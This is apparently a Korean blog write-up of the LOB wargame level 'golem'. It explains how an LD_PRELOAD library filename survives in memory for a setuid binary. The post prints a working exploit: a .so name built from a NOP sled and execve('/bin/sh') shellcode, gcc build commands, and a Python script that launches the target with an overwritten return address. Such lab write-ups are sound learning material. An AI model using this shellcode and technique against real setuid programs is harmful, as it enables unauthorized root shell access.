스택이 싹 지워진다.
그래서 RTL인가? 했는데 argv[1][47] == "\xbf" 여야한다는 조건 덕분에 RTL으로 해결할 수 없는 것 같다.
결국 롸업을 슬쩍 봤다.
LD_PRELOAD를 이용한다고 했다.
그래서 LD_PRELOAD 구글링 해서 memset 함수를 후킹해서 아예 bash 쉘을 띄우게 하려고 했는데 안됐다...
이유는 setuid가 걸려있기 때문이다!
setuid가 걸려있으면 LD_PRELOAD=./~~.so ./실행파일 argv 를 해도 후킹되지 않는다. ☞ 직접 경험해보는 것이 좋다.
ld_preload를 이용해서 파일을 실행할 때 core dump 파일이 만들어지도록 시도해서 core dump파일을 분석했다.
hook.c ☞ (NAME = )"A"*250+".so" // so 파일 이름을 "A"*250+".so"로 하겠다는 의미(귀찮아서 NAME으로 표시하겠다는 의미..)
gcc -shared -fPIC -o NAME hook.c // 후킹을 위해 so파일 생성(코어 덤프 파일을 분석하기 위해 파일 이름을 길게 짓는다)
cp golem BBBBB // golem이 5자니까 BBBBB도 5자로 만든다. (코어 덤프 파일을 분석해서 실제 주소를 알아낼 것이기 때문)
LD_PRELOAD=./NAME ./BBBBB `python -c 'print "\xbf"*48'` ☞ core dump 파일 생성
gdb -c core
환경변수는 0xc0000000쪽에 쌓이니까 그 쪽을 대충 본다.
이것을 보고 setuid가 걸려있으면 ld_preload를 이용한 후킹은 적용되지 않지만 라이브러리 파일명은 올라간다는 것을 알 수 있다.
※ 왜인지는 모르겠다. 분석해보니까 그렇다,,,,
그럼 A대신에 쉘코드를 넣어주면 되겠져
test.py
import os
f=open("hook.c","w")
f.write('')
f.close()
NAME="\x90"*215+"\x31\xc0\x50\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x04\x01\x50\x89\xe3\x31\xc0\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+".so"
os.system("gcc hook.c -fpic -shared -o "+NAME)
os.execve("./golem", ["./golem", "A"*44+"\x01\xf9\xff\xbf"], {"LD_PRELOAD":"./"+NAME})
python test.py
'워게임 > LOB' 카테고리의 다른 글
LOB - darkknight(RTL) (0) | 2021.08.05 |
---|---|
LOB - golem(SFP overflow) (0) | 2021.08.04 |
LOB - vampire(심볼릭링크) (0) | 2021.08.01 |
LOB - troll (환경변수) (0) | 2021.08.01 |
LOB - darkelf (0) | 2021.07.31 |
댓글